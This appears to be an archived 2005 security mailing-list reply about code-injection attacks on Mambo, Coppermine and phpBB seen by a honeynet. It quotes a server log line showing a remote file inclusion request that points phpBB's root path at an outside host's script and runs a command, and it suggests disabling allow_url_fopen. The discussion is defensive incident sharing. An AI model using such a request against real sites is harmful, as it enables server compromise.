Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Web-App-Sec
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Re: Mambo, Coppermine and PHPBB Attacks

from [Paul Laudanski] Network Security [Permanent Link]
Subject: Re: Mambo, Coppermine and PHPBB Attacks
Date: Mon, 19 Dec 2005 18:24:14 -0500 (EST) 
On Mon, 19 Dec 2005, Mark Ryan del Moral Talabis wrote:


Our honeynet has been picking up an increase in the number of code
injection attacks in the past few days. Attacks are primarily directed
to several popular open source applications: Mambo, Coppermine and
PHPBB.

Analysis:
http://www.philippinehoneynet.org/dataarchive.php?date=2005-12-17


Nice catch.  I checked my logs and found these which appear to be the 
valid phpbb injection request:

81.215.110.24 - - [19/Dec/2005:07:20:30 -0500] "GET 
/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.frauenfinanzzentrum.at/tool25.dat?&cmd=id
 HTTP/1.0"

Notice the admin_styles.php is written out once.  I would suspect that 
disabling allow_url_fopen directive in php.ini would disallow such a 
request to execute.  This would prevent resources other than files to not 
be included.  But I haven't tested.

-- 
Paul Laudanski, Microsoft MVP Windows-Security
[cal] http://events.castlecops.com
[de] http://de.castlecops.com
[en] http://castlecops.com
[wiki] http://wiki.castlecops.com
[family] http://cuddlesnkisses.com
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  New OWASP project - PCI Web Security Standards, mike . owasp
Next by Date:  Re: Mambo, Coppermine and PHPBB Attacks, Tofik Suleymanov
Previous by Thread:  RE: Mambo, Coppermine and PHPBB Attacks, John Cobb
Next by Thread:  Re: Mambo, Coppermine and PHPBB Attacks, Tofik Suleymanov
Indexes:  [Date] [Thread] [Top] [All Lists]